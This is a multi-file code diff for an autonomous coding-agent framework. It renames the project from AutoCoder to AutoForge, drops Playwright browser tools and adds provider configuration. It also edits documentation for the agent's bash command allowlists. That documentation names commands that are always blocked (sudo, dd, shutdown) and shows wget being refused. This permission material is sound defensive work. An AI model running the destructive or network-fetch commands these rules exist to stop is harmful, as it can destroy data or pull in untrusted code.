model: Model name in Anthropic format (with hyphens)
|
model: Model name in Anthropic format (with hyphens)
|
||||||
@@ -61,7 +52,7 @@ def convert_model_for_vertex(model: str) -> str:
|
|||||||
return model
|
return model
|
||||||
|
|
||||||
# Pattern: claude-{name}-{version}-{date} -> claude-{name}-{version}@{date}
|
# Pattern: claude-{name}-{version}-{date} -> claude-{name}-{version}@{date}
|
||||||
# Example: claude-opus-4-5-20251101 -> claude-opus-4-5@20251101
|
# Example: claude-sonnet-4-5-20250929 -> claude-sonnet-4-5@20250929
|
||||||
# The date is always 8 digits at the end
|
# The date is always 8 digits at the end
|
||||||
match = re.match(r'^(claude-.+)-(\d{8})$', model)
|
match = re.match(r'^(claude-.+)-(\d{8})$', model)
|
||||||
if match:
|
if match:
|
||||||
@@ -72,43 +63,6 @@ def convert_model_for_vertex(model: str) -> str:
|
|||||||
return model
|
return model
|
||||||
|
|
||||||
|
|
||||||
def get_playwright_headless() -> bool:
|
|
||||||
"""
|
|
||||||
Get the Playwright headless mode setting.
|
|
||||||
|
|
||||||
Reads from PLAYWRIGHT_HEADLESS environment variable, defaults to True.
|
|
||||||
Returns True for headless mode (invisible browser), False for visible browser.
|
|
||||||
"""
|
|
||||||
value = os.getenv("PLAYWRIGHT_HEADLESS", str(DEFAULT_PLAYWRIGHT_HEADLESS).lower()).strip().lower()
|
|
||||||
truthy = {"true", "1", "yes", "on"}
|
|
||||||
falsy = {"false", "0", "no", "off"}
|
|
||||||
if value not in truthy | falsy:
|
|
||||||
print(f" - Warning: Invalid PLAYWRIGHT_HEADLESS='{value}', defaulting to {DEFAULT_PLAYWRIGHT_HEADLESS}")
|
|
||||||
return DEFAULT_PLAYWRIGHT_HEADLESS
|
|
||||||
return value in truthy
|
|
||||||
|
|
||||||
|
|
||||||
# Valid browsers supported by Playwright MCP
|
|
||||||
VALID_PLAYWRIGHT_BROWSERS = {"chrome", "firefox", "webkit", "msedge"}
|
|
||||||
|
|
||||||
|
|
||||||
def get_playwright_browser() -> str:
|
|
||||||
"""
|
|
||||||
Get the browser to use for Playwright.
|
|
||||||
|
|
||||||
Reads from PLAYWRIGHT_BROWSER environment variable, defaults to firefox.
|
|
||||||
Options: chrome, firefox, webkit, msedge
|
|
||||||
Firefox is recommended for lower CPU usage.
|
|
||||||
"""
|
|
||||||
value = os.getenv("PLAYWRIGHT_BROWSER", DEFAULT_PLAYWRIGHT_BROWSER).strip().lower()
|
|
||||||
if value not in VALID_PLAYWRIGHT_BROWSERS:
|
|
||||||
print(f" - Warning: Invalid PLAYWRIGHT_BROWSER='{value}', "
|
|
||||||
f"valid options: {', '.join(sorted(VALID_PLAYWRIGHT_BROWSERS))}. "
|
|
||||||
f"Defaulting to {DEFAULT_PLAYWRIGHT_BROWSER}")
|
|
||||||
return DEFAULT_PLAYWRIGHT_BROWSER
|
|
||||||
return value
|
|
||||||
|
|
||||||
|
|
||||||
def get_extra_read_paths() -> list[Path]:
|
def get_extra_read_paths() -> list[Path]:
|
||||||
"""
|
"""
|
||||||
Get extra read-only paths from EXTRA_READ_PATHS environment variable.
|
Get extra read-only paths from EXTRA_READ_PATHS environment variable.
|
||||||
@@ -187,7 +141,6 @@ def get_extra_read_paths() -> list[Path]:
|
|||||||
# overhead and preventing agents from calling tools meant for other roles.
|
# overhead and preventing agents from calling tools meant for other roles.
|
||||||
#
|
#
|
||||||
# Tools intentionally omitted from ALL agent lists (UI/orchestrator only):
|
# Tools intentionally omitted from ALL agent lists (UI/orchestrator only):
|
||||||
# feature_get_ready, feature_get_blocked, feature_get_graph,
|
|
||||||
# feature_remove_dependency
|
# feature_remove_dependency
|
||||||
#
|
#
|
||||||
# The ghost tool "feature_release_testing" was removed entirely -- it was
|
# The ghost tool "feature_release_testing" was removed entirely -- it was
|
||||||
@@ -197,6 +150,9 @@ CODING_AGENT_TOOLS = [
|
|||||||
"mcp__features__feature_get_stats",
|
"mcp__features__feature_get_stats",
|
||||||
"mcp__features__feature_get_by_id",
|
"mcp__features__feature_get_by_id",
|
||||||
"mcp__features__feature_get_summary",
|
"mcp__features__feature_get_summary",
|
||||||
|
"mcp__features__feature_get_ready",
|
||||||
|
"mcp__features__feature_get_blocked",
|
||||||
|
"mcp__features__feature_get_graph",
|
||||||
"mcp__features__feature_claim_and_get",
|
"mcp__features__feature_claim_and_get",
|
||||||
"mcp__features__feature_mark_in_progress",
|
"mcp__features__feature_mark_in_progress",
|
||||||
"mcp__features__feature_mark_passing",
|
"mcp__features__feature_mark_passing",
|
||||||
@@ -209,12 +165,18 @@ TESTING_AGENT_TOOLS = [
|
|||||||
"mcp__features__feature_get_stats",
|
"mcp__features__feature_get_stats",
|
||||||
"mcp__features__feature_get_by_id",
|
"mcp__features__feature_get_by_id",
|
||||||
"mcp__features__feature_get_summary",
|
"mcp__features__feature_get_summary",
|
||||||
|
"mcp__features__feature_get_ready",
|
||||||
|
"mcp__features__feature_get_blocked",
|
||||||
|
"mcp__features__feature_get_graph",
|
||||||
"mcp__features__feature_mark_passing",
|
"mcp__features__feature_mark_passing",
|
||||||
"mcp__features__feature_mark_failing",
|
"mcp__features__feature_mark_failing",
|
||||||
]
|
]
|
||||||
|
|
||||||
INITIALIZER_AGENT_TOOLS = [
|
INITIALIZER_AGENT_TOOLS = [
|
||||||
"mcp__features__feature_get_stats",
|
"mcp__features__feature_get_stats",
|
||||||
|
"mcp__features__feature_get_ready",
|
||||||
|
"mcp__features__feature_get_blocked",
|
||||||
|
"mcp__features__feature_get_graph",
|
||||||
"mcp__features__feature_create_bulk",
|
"mcp__features__feature_create_bulk",
|
||||||
"mcp__features__feature_create",
|
"mcp__features__feature_create",
|
||||||
"mcp__features__feature_add_dependency",
|
"mcp__features__feature_add_dependency",
|
||||||
@@ -228,41 +190,6 @@ ALL_FEATURE_MCP_TOOLS = sorted(
|
|||||||
set(CODING_AGENT_TOOLS) | set(TESTING_AGENT_TOOLS) | set(INITIALIZER_AGENT_TOOLS)
|
set(CODING_AGENT_TOOLS) | set(TESTING_AGENT_TOOLS) | set(INITIALIZER_AGENT_TOOLS)
|
||||||
)
|
)
|
||||||
|
|
||||||
# Playwright MCP tools for browser automation.
|
|
||||||
# Full set of tools for comprehensive UI testing including drag-and-drop,
|
|
||||||
# hover menus, file uploads, tab management, etc.
|
|
||||||
PLAYWRIGHT_TOOLS = [
|
|
||||||
# Core navigation & screenshots
|
|
||||||
"mcp__playwright__browser_navigate",
|
|
||||||
"mcp__playwright__browser_navigate_back",
|
|
||||||
"mcp__playwright__browser_take_screenshot",
|
|
||||||
"mcp__playwright__browser_snapshot",
|
|
||||||
|
|
||||||
# Element interaction
|
|
||||||
"mcp__playwright__browser_click",
|
|
||||||
"mcp__playwright__browser_type",
|
|
||||||
"mcp__playwright__browser_fill_form",
|
|
||||||
"mcp__playwright__browser_select_option",
|
|
||||||
"mcp__playwright__browser_press_key",
|
|
||||||
"mcp__playwright__browser_drag",
|
|
||||||
"mcp__playwright__browser_hover",
|
|
||||||
"mcp__playwright__browser_file_upload",
|
|
||||||
|
|
||||||
# JavaScript & debugging
|
|
||||||
"mcp__playwright__browser_evaluate",
|
|
||||||
# "mcp__playwright__browser_run_code", # REMOVED - causes Playwright MCP server crash
|
|
||||||
"mcp__playwright__browser_console_messages",
|
|
||||||
"mcp__playwright__browser_network_requests",
|
|
||||||
|
|
||||||
# Browser management
|
|
||||||
"mcp__playwright__browser_resize",
|
|
||||||
"mcp__playwright__browser_wait_for",
|
|
||||||
"mcp__playwright__browser_handle_dialog",
|
|
||||||
"mcp__playwright__browser_install",
|
|
||||||
"mcp__playwright__browser_close",
|
|
||||||
"mcp__playwright__browser_tabs",
|
|
||||||
]
|
|
||||||
|
|
||||||
# Built-in tools available to agents.
|
# Built-in tools available to agents.
|
||||||
# WebFetch and WebSearch are included so coding agents can look up current
|
# WebFetch and WebSearch are included so coding agents can look up current
|
||||||
# documentation for frameworks and libraries they are implementing.
|
# documentation for frameworks and libraries they are implementing.
|
||||||
@@ -282,7 +209,6 @@ def create_client(
|
|||||||
project_dir: Path,
|
project_dir: Path,
|
||||||
model: str,
|
model: str,
|
||||||
yolo_mode: bool = False,
|
yolo_mode: bool = False,
|
||||||
agent_id: str | None = None,
|
|
||||||
agent_type: str = "coding",
|
agent_type: str = "coding",
|
||||||
):
|
):
|
||||||
"""
|
"""
|
||||||
@@ -291,9 +217,7 @@ def create_client(
|
|||||||
Args:
|
Args:
|
||||||
project_dir: Directory for the project
|
project_dir: Directory for the project
|
||||||
model: Claude model to use
|
model: Claude model to use
|
||||||
yolo_mode: If True, skip Playwright MCP server for rapid prototyping
|
yolo_mode: If True, skip browser testing for rapid prototyping
|
||||||
agent_id: Optional unique identifier for browser isolation in parallel mode.
|
|
||||||
When provided, each agent gets its own browser profile.
|
|
||||||
agent_type: One of "coding", "testing", or "initializer". Controls which
|
agent_type: One of "coding", "testing", or "initializer". Controls which
|
||||||
MCP tools are exposed and the max_turns limit.
|
MCP tools are exposed and the max_turns limit.
|
||||||
|
|
||||||
@@ -327,11 +251,8 @@ def create_client(
|
|||||||
}
|
}
|
||||||
max_turns = max_turns_map.get(agent_type, 300)
|
max_turns = max_turns_map.get(agent_type, 300)
|
||||||
|
|
||||||
# Build allowed tools list based on mode and agent type.
|
# Build allowed tools list based on agent type.
|
||||||
# In YOLO mode, exclude Playwright tools for faster prototyping.
|
|
||||||
allowed_tools = [*BUILTIN_TOOLS, *feature_tools]
|
allowed_tools = [*BUILTIN_TOOLS, *feature_tools]
|
||||||
if not yolo_mode:
|
|
||||||
allowed_tools.extend(PLAYWRIGHT_TOOLS)
|
|
||||||
|
|
||||||
# Build permissions list.
|
# Build permissions list.
|
||||||
# We permit ALL feature MCP tools at the security layer (so the MCP server
|
# We permit ALL feature MCP tools at the security layer (so the MCP server
|
||||||
@@ -363,10 +284,6 @@ def create_client(
|
|||||||
permissions_list.append(f"Glob({path}/**)")
|
permissions_list.append(f"Glob({path}/**)")
|
||||||
permissions_list.append(f"Grep({path}/**)")
|
permissions_list.append(f"Grep({path}/**)")
|
||||||
|
|
||||||
if not yolo_mode:
|
|
||||||
# Allow Playwright MCP tools for browser automation (standard mode only)
|
|
||||||
permissions_list.extend(PLAYWRIGHT_TOOLS)
|
|
||||||
|
|
||||||
# Create comprehensive security settings
|
# Create comprehensive security settings
|
||||||
# Note: Using relative paths ("./**") restricts access to project directory
|
# Note: Using relative paths ("./**") restricts access to project directory
|
||||||
# since cwd is set to project_dir
|
# since cwd is set to project_dir
|
||||||
@@ -382,7 +299,7 @@ def create_client(
|
|||||||
project_dir.mkdir(parents=True, exist_ok=True)
|
project_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
# Write settings to a file in the project directory
|
# Write settings to a file in the project directory
|
||||||
from autocoder_paths import get_claude_settings_path
|
from autoforge_paths import get_claude_settings_path
|
||||||
settings_file = get_claude_settings_path(project_dir)
|
settings_file = get_claude_settings_path(project_dir)
|
||||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
with open(settings_file, "w") as f:
|
with open(settings_file, "w") as f:
|
||||||
@@ -395,9 +312,9 @@ def create_client(
|
|||||||
print(f" - Extra read paths (validated): {', '.join(str(p) for p in extra_read_paths)}")
|
print(f" - Extra read paths (validated): {', '.join(str(p) for p in extra_read_paths)}")
|
||||||
print(" - Bash commands restricted to allowlist (see security.py)")
|
print(" - Bash commands restricted to allowlist (see security.py)")
|
||||||
if yolo_mode:
|
if yolo_mode:
|
||||||
print(" - MCP servers: features (database) - YOLO MODE (no Playwright)")
|
print(" - MCP servers: features (database) - YOLO MODE (no browser testing)")
|
||||||
else:
|
else:
|
||||||
print(" - MCP servers: playwright (browser), features (database)")
|
print(" - MCP servers: features (database)")
|
||||||
print(" - Project settings enabled (skills, commands, CLAUDE.md)")
|
print(" - Project settings enabled (skills, commands, CLAUDE.md)")
|
||||||
print()
|
print()
|
||||||
|
|
||||||
@@ -421,48 +338,19 @@ def create_client(
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
if not yolo_mode:
|
|
||||||
# Include Playwright MCP server for browser automation (standard mode only)
|
|
||||||
# Browser and headless mode configurable via environment variables
|
|
||||||
browser = get_playwright_browser()
|
|
||||||
playwright_args = [
|
|
||||||
"@playwright/mcp@latest",
|
|
||||||
"--viewport-size", "1280x720",
|
|
||||||
"--browser", browser,
|
|
||||||
]
|
|
||||||
if get_playwright_headless():
|
|
||||||
playwright_args.append("--headless")
|
|
||||||
print(f" - Browser: {browser} (headless={get_playwright_headless()})")
|
|
||||||
|
|
||||||
# Browser isolation for parallel execution
|
|
||||||
# Each agent gets its own isolated browser context to prevent tab conflicts
|
|
||||||
if agent_id:
|
|
||||||
# Use --isolated for ephemeral browser context
|
|
||||||
# This creates a fresh, isolated context without persistent state
|
|
||||||
# Note: --isolated and --user-data-dir are mutually exclusive
|
|
||||||
playwright_args.append("--isolated")
|
|
||||||
print(f" - Browser isolation enabled for agent: {agent_id}")
|
|
||||||
|
|
||||||
mcp_servers["playwright"] = {
|
|
||||||
"command": "npx",
|
|
||||||
"args": playwright_args,
|
|
||||||
}
|
|
||||||
|
|
||||||
# Build environment overrides for API endpoint configuration
|
# Build environment overrides for API endpoint configuration
|
||||||
# These override system env vars for the Claude CLI subprocess,
|
# Uses get_effective_sdk_env() which reads provider settings from the database,
|
||||||
# allowing AutoCoder to use alternative APIs (e.g., GLM) without
|
# ensuring UI-configured alternative providers (GLM, Ollama, Kimi, Custom) propagate
|
||||||
# affecting the user's global Claude Code settings
|
# correctly to the Claude CLI subprocess
|
||||||
sdk_env = {}
|
from registry import get_effective_sdk_env
|
||||||
for var in API_ENV_VARS:
|
sdk_env = get_effective_sdk_env()
|
||||||
value = os.getenv(var)
|
|
||||||
if value:
|
|
||||||
sdk_env[var] = value
|
|
||||||
|
|
||||||
# Detect alternative API mode (Ollama, GLM, or Vertex AI)
|
# Detect alternative API mode (Ollama, GLM, or Vertex AI)
|
||||||
base_url = sdk_env.get("ANTHROPIC_BASE_URL", "")
|
base_url = sdk_env.get("ANTHROPIC_BASE_URL", "")
|
||||||
is_vertex = sdk_env.get("CLAUDE_CODE_USE_VERTEX") == "1"
|
is_vertex = sdk_env.get("CLAUDE_CODE_USE_VERTEX") == "1"
|
||||||
is_alternative_api = bool(base_url) or is_vertex
|
is_alternative_api = bool(base_url) or is_vertex
|
||||||
is_ollama = "localhost:11434" in base_url or "127.0.0.1:11434" in base_url
|
is_ollama = "localhost:11434" in base_url or "127.0.0.1:11434" in base_url
|
||||||
|
is_azure = "services.ai.azure.com" in base_url
|
||||||
model = convert_model_for_vertex(model)
|
model = convert_model_for_vertex(model)
|
||||||
if sdk_env:
|
if sdk_env:
|
||||||
print(f" - API overrides: {', '.join(sdk_env.keys())}")
|
print(f" - API overrides: {', '.join(sdk_env.keys())}")
|
||||||
@@ -472,8 +360,10 @@ def create_client(
|
|||||||
print(f" - Vertex AI Mode: Using GCP project '{project_id}' with model '{model}' in region '{region}'")
|
print(f" - Vertex AI Mode: Using GCP project '{project_id}' with model '{model}' in region '{region}'")
|
||||||
elif is_ollama:
|
elif is_ollama:
|
||||||
print(" - Ollama Mode: Using local models")
|
print(" - Ollama Mode: Using local models")
|
||||||
|
elif is_azure:
|
||||||
|
print(f" - Azure Mode: Using {base_url}")
|
||||||
elif "ANTHROPIC_BASE_URL" in sdk_env:
|
elif "ANTHROPIC_BASE_URL" in sdk_env:
|
||||||
print(f" - GLM Mode: Using {sdk_env['ANTHROPIC_BASE_URL']}")
|
print(f" - Alternative API: Using {sdk_env['ANTHROPIC_BASE_URL']}")
|
||||||
|
|
||||||
# Create a wrapper for bash_security_hook that passes project_dir via context
|
# Create a wrapper for bash_security_hook that passes project_dir via context
|
||||||
async def bash_hook_with_context(input_data, tool_use_id=None, context=None):
|
async def bash_hook_with_context(input_data, tool_use_id=None, context=None):
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ subprocesses. Imported by both ``client.py`` (agent sessions) and
|
|||||||
``server/services/chat_constants.py`` (chat sessions) to avoid maintaining
|
``server/services/chat_constants.py`` (chat sessions) to avoid maintaining
|
||||||
duplicate lists.
|
duplicate lists.
|
||||||
|
|
||||||
These allow autocoder to use alternative API endpoints (Ollama, GLM,
|
These allow autoforge to use alternative API endpoints (Ollama, GLM,
|
||||||
Vertex AI) without affecting the user's global Claude Code settings.
|
Vertex AI) without affecting the user's global Claude Code settings.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -15,6 +15,7 @@ API_ENV_VARS: list[str] = [
|
|||||||
# Core API configuration
|
# Core API configuration
|
||||||
"ANTHROPIC_BASE_URL", # Custom API endpoint (e.g., https://api.z.ai/api/anthropic)
|
"ANTHROPIC_BASE_URL", # Custom API endpoint (e.g., https://api.z.ai/api/anthropic)
|
||||||
"ANTHROPIC_AUTH_TOKEN", # API authentication token
|
"ANTHROPIC_AUTH_TOKEN", # API authentication token
|
||||||
|
"ANTHROPIC_API_KEY", # API key (used by Kimi and other providers)
|
||||||
"API_TIMEOUT_MS", # Request timeout in milliseconds
|
"API_TIMEOUT_MS", # Request timeout in milliseconds
|
||||||
# Model tier overrides
|
# Model tier overrides
|
||||||
"ANTHROPIC_DEFAULT_SONNET_MODEL", # Model override for Sonnet
|
"ANTHROPIC_DEFAULT_SONNET_MODEL", # Model override for Sonnet
|
||||||
|
|||||||
@@ -179,7 +179,7 @@ To see what you can reduce:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Count commands by prefix
|
# Count commands by prefix
|
||||||
grep "^ - name:" .autocoder/allowed_commands.yaml | \
|
grep "^ - name:" .autoforge/allowed_commands.yaml | \
|
||||||
sed 's/^ - name: //' | \
|
sed 's/^ - name: //' | \
|
||||||
cut -d' ' -f1 | \
|
cut -d' ' -f1 | \
|
||||||
sort | uniq -c | sort -rn
|
sort | uniq -c | sort -rn
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# AutoCoder Security Configuration Examples
|
# AutoForge Security Configuration Examples
|
||||||
|
|
||||||
This directory contains example configuration files for controlling which bash commands the autonomous coding agent can execute.
|
This directory contains example configuration files for controlling which bash commands the autonomous coding agent can execute.
|
||||||
|
|
||||||
@@ -18,11 +18,11 @@ This directory contains example configuration files for controlling which bash c
|
|||||||
|
|
||||||
### For a Single Project (Most Common)
|
### For a Single Project (Most Common)
|
||||||
|
|
||||||
When you create a new project with AutoCoder, it automatically creates:
|
When you create a new project with AutoForge, it automatically creates:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
my-project/
|
my-project/
|
||||||
.autocoder/
|
.autoforge/
|
||||||
allowed_commands.yaml ← Automatically created from template
|
allowed_commands.yaml ← Automatically created from template
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -34,17 +34,17 @@ If you want commands available across **all projects**, manually create:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Copy the example to your home directory
|
# Copy the example to your home directory
|
||||||
cp examples/org_config.yaml ~/.autocoder/config.yaml
|
cp examples/org_config.yaml ~/.autoforge/config.yaml
|
||||||
|
|
||||||
# Edit it to add org-wide commands
|
# Edit it to add org-wide commands
|
||||||
nano ~/.autocoder/config.yaml
|
nano ~/.autoforge/config.yaml
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Project-Level Configuration
|
## Project-Level Configuration
|
||||||
|
|
||||||
**File:** `{project_dir}/.autocoder/allowed_commands.yaml`
|
**File:** `{project_dir}/.autoforge/allowed_commands.yaml`
|
||||||
|
|
||||||
**Purpose:** Define commands needed for THIS specific project.
|
**Purpose:** Define commands needed for THIS specific project.
|
||||||
|
|
||||||
@@ -82,7 +82,7 @@ commands:
|
|||||||
|
|
||||||
## Organization-Level Configuration
|
## Organization-Level Configuration
|
||||||
|
|
||||||
**File:** `~/.autocoder/config.yaml`
|
**File:** `~/.autoforge/config.yaml`
|
||||||
|
|
||||||
**Purpose:** Define commands and policies for ALL projects.
|
**Purpose:** Define commands and policies for ALL projects.
|
||||||
|
|
||||||
@@ -127,13 +127,13 @@ When the agent tries to run a command, the system checks in this order:
|
|||||||
└─────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────┘
|
||||||
↓
|
↓
|
||||||
┌─────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────┐
|
||||||
│ 2. ORG BLOCKLIST (~/.autocoder/config.yaml) │
|
│ 2. ORG BLOCKLIST (~/.autoforge/config.yaml) │
|
||||||
│ Commands you block organization-wide │
|
│ Commands you block organization-wide │
|
||||||
│ ❌ Projects CANNOT override these │
|
│ ❌ Projects CANNOT override these │
|
||||||
└─────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────┘
|
||||||
↓
|
↓
|
||||||
┌─────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────┐
|
||||||
│ 3. ORG ALLOWLIST (~/.autocoder/config.yaml) │
|
│ 3. ORG ALLOWLIST (~/.autoforge/config.yaml) │
|
||||||
│ Commands available to all projects │
|
│ Commands available to all projects │
|
||||||
│ ✅ Automatically available │
|
│ ✅ Automatically available │
|
||||||
└─────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────┘
|
||||||
@@ -145,7 +145,7 @@ When the agent tries to run a command, the system checks in this order:
|
|||||||
└─────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────┘
|
||||||
↓
|
↓
|
||||||
┌─────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────┐
|
||||||
│ 5. PROJECT ALLOWLIST (.autocoder/allowed_commands) │
|
│ 5. PROJECT ALLOWLIST (.autoforge/allowed_commands) │
|
||||||
│ Project-specific commands │
|
│ Project-specific commands │
|
||||||
│ ✅ Available only to this project │
|
│ ✅ Available only to this project │
|
||||||
└─────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────┘
|
||||||
@@ -195,7 +195,7 @@ Matches:
|
|||||||
|
|
||||||
### iOS Development
|
### iOS Development
|
||||||
|
|
||||||
**Project config** (`.autocoder/allowed_commands.yaml`):
|
**Project config** (`.autoforge/allowed_commands.yaml`):
|
||||||
```yaml
|
```yaml
|
||||||
version: 1
|
version: 1
|
||||||
commands:
|
commands:
|
||||||
@@ -245,7 +245,7 @@ commands:
|
|||||||
|
|
||||||
### Enterprise Organization (Restrictive)
|
### Enterprise Organization (Restrictive)
|
||||||
|
|
||||||
**Org config** (`~/.autocoder/config.yaml`):
|
**Org config** (`~/.autoforge/config.yaml`):
|
||||||
```yaml
|
```yaml
|
||||||
version: 1
|
version: 1
|
||||||
|
|
||||||
@@ -265,7 +265,7 @@ blocked_commands:
|
|||||||
|
|
||||||
### Startup Team (Permissive)
|
### Startup Team (Permissive)
|
||||||
|
|
||||||
**Org config** (`~/.autocoder/config.yaml`):
|
**Org config** (`~/.autoforge/config.yaml`):
|
||||||
```yaml
|
```yaml
|
||||||
version: 1
|
version: 1
|
||||||
|
|
||||||
@@ -394,7 +394,7 @@ These commands are **NEVER allowed**, even with user approval:
|
|||||||
|
|
||||||
**Solution:** Add the command to your project config:
|
**Solution:** Add the command to your project config:
|
||||||
```yaml
|
```yaml
|
||||||
# In .autocoder/allowed_commands.yaml
|
# In .autoforge/allowed_commands.yaml
|
||||||
commands:
|
commands:
|
||||||
- name: X
|
- name: X
|
||||||
description: What this command does
|
description: What this command does
|
||||||
@@ -405,7 +405,7 @@ commands:
|
|||||||
**Cause:** The command is in the org blocklist or hardcoded blocklist.
|
**Cause:** The command is in the org blocklist or hardcoded blocklist.
|
||||||
|
|
||||||
**Solution:**
|
**Solution:**
|
||||||
- If in org blocklist: Edit `~/.autocoder/config.yaml` to remove it
|
- If in org blocklist: Edit `~/.autoforge/config.yaml` to remove it
|
||||||
- If in hardcoded blocklist: Cannot be allowed (by design)
|
- If in hardcoded blocklist: Cannot be allowed (by design)
|
||||||
|
|
||||||
### Error: "Could not parse YAML config"
|
### Error: "Could not parse YAML config"
|
||||||
@@ -422,8 +422,8 @@ commands:
|
|||||||
**Solution:**
|
**Solution:**
|
||||||
1. Restart the agent (changes are loaded on startup)
|
1. Restart the agent (changes are loaded on startup)
|
||||||
2. Verify file location:
|
2. Verify file location:
|
||||||
- Project: `{project}/.autocoder/allowed_commands.yaml`
|
- Project: `{project}/.autoforge/allowed_commands.yaml`
|
||||||
- Org: `~/.autocoder/config.yaml` (must be manually created)
|
- Org: `~/.autoforge/config.yaml` (must be manually created)
|
||||||
3. Check YAML is valid (run through a YAML validator)
|
3. Check YAML is valid (run through a YAML validator)
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -432,7 +432,7 @@ commands:
|
|||||||
|
|
||||||
### Running the Tests
|
### Running the Tests
|
||||||
|
|
||||||
AutoCoder has comprehensive tests for the security system:
|
AutoForge has comprehensive tests for the security system:
|
||||||
|
|
||||||
**Unit Tests** (136 tests - fast):
|
**Unit Tests** (136 tests - fast):
|
||||||
```bash
|
```bash
|
||||||
@@ -481,7 +481,7 @@ python start.py
|
|||||||
cd path/to/security-test
|
cd path/to/security-test
|
||||||
|
|
||||||
# Edit the config
|
# Edit the config
|
||||||
nano .autocoder/allowed_commands.yaml
|
nano .autoforge/allowed_commands.yaml
|
||||||
```
|
```
|
||||||
|
|
||||||
**3. Add a test command (e.g., Swift):**
|
**3. Add a test command (e.g., Swift):**
|
||||||
@@ -509,7 +509,7 @@ Or:
|
|||||||
```text
|
```text
|
||||||
Command 'wget' is not allowed.
|
Command 'wget' is not allowed.
|
||||||
To allow this command:
|
To allow this command:
|
||||||
1. Add to .autocoder/allowed_commands.yaml for this project, OR
|
1. Add to .autoforge/allowed_commands.yaml for this project, OR
|
||||||
2. Request mid-session approval (the agent can ask)
|
2. Request mid-session approval (the agent can ask)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# Organization-Level AutoCoder Configuration
|
# Organization-Level AutoForge Configuration
|
||||||
# ============================================
|
# ============================================
|
||||||
# Location: ~/.autocoder/config.yaml
|
# Location: ~/.autoforge/config.yaml
|
||||||
#
|
#
|
||||||
# IMPORTANT: This file is OPTIONAL and must be manually created by you.
|
# IMPORTANT: This file is OPTIONAL and must be manually created by you.
|
||||||
# It does NOT exist by default.
|
# It does NOT exist by default.
|
||||||
@@ -22,7 +22,7 @@ version: 1
|
|||||||
# Organization-Wide Allowed Commands
|
# Organization-Wide Allowed Commands
|
||||||
# ==========================================
|
# ==========================================
|
||||||
# These commands become available to ALL projects automatically.
|
# These commands become available to ALL projects automatically.
|
||||||
# Projects don't need to add them to their own .autocoder/allowed_commands.yaml
|
# Projects don't need to add them to their own .autoforge/allowed_commands.yaml
|
||||||
#
|
#
|
||||||
# By default, this is empty. Uncomment and add commands as needed.
|
# By default, this is empty. Uncomment and add commands as needed.
|
||||||
|
|
||||||
@@ -122,7 +122,7 @@ approval_timeout_minutes: 5
|
|||||||
# Default commands: npm, git, curl, ls, cat, etc.
|
# Default commands: npm, git, curl, ls, cat, etc.
|
||||||
# Always available to all projects.
|
# Always available to all projects.
|
||||||
#
|
#
|
||||||
# 5. Project Allowed Commands (.autocoder/allowed_commands.yaml)
|
# 5. Project Allowed Commands (.autoforge/allowed_commands.yaml)
|
||||||
# Project-specific commands defined in each project.
|
# Project-specific commands defined in each project.
|
||||||
# LOWEST PRIORITY (can't override blocks above).
|
# LOWEST PRIORITY (can't override blocks above).
|
||||||
#
|
#
|
||||||
@@ -165,7 +165,7 @@ approval_timeout_minutes: 5
|
|||||||
# ==========================================
|
# ==========================================
|
||||||
# To Create This File
|
# To Create This File
|
||||||
# ==========================================
|
# ==========================================
|
||||||
# 1. Copy this example to: ~/.autocoder/config.yaml
|
# 1. Copy this example to: ~/.autoforge/config.yaml
|
||||||
# 2. Uncomment and customize the sections you need
|
# 2. Uncomment and customize the sections you need
|
||||||
# 3. Leave empty lists if you don't need org-level controls
|
# 3. Leave empty lists if you don't need org-level controls
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
# Project-Specific Allowed Commands
|
# Project-Specific Allowed Commands
|
||||||
# ==================================
|
# ==================================
|
||||||
# Location: {project_dir}/.autocoder/allowed_commands.yaml
|
# Location: {project_dir}/.autoforge/allowed_commands.yaml
|
||||||
#
|
#
|
||||||
# This file defines bash commands that the autonomous coding agent can use
|
# This file defines bash commands that the autonomous coding agent can use
|
||||||
# for THIS SPECIFIC PROJECT, beyond the default allowed commands.
|
# for THIS SPECIFIC PROJECT, beyond the default allowed commands.
|
||||||
#
|
#
|
||||||
# When you create a new project, AutoCoder automatically creates this file
|
# When you create a new project, AutoForge automatically creates this file
|
||||||
# in your project's .autocoder/ directory. You can customize it for your
|
# in your project's .autoforge/ directory. You can customize it for your
|
||||||
# project's specific needs (iOS, Rust, Python, etc.).
|
# project's specific needs (iOS, Rust, Python, etc.).
|
||||||
|
|
||||||
version: 1
|
version: 1
|
||||||
@@ -115,7 +115,7 @@ commands: []
|
|||||||
# Limits:
|
# Limits:
|
||||||
# - Maximum 100 commands per project
|
# - Maximum 100 commands per project
|
||||||
# - Commands in the blocklist (sudo, dd, shutdown, etc.) can NEVER be allowed
|
# - Commands in the blocklist (sudo, dd, shutdown, etc.) can NEVER be allowed
|
||||||
# - Org-level blocked commands (see ~/.autocoder/config.yaml) cannot be overridden
|
# - Org-level blocked commands (see ~/.autoforge/config.yaml) cannot be overridden
|
||||||
#
|
#
|
||||||
# Default Allowed Commands (always available):
|
# Default Allowed Commands (always available):
|
||||||
# File operations: ls, cat, head, tail, wc, grep, cp, mkdir, mv, rm, touch
|
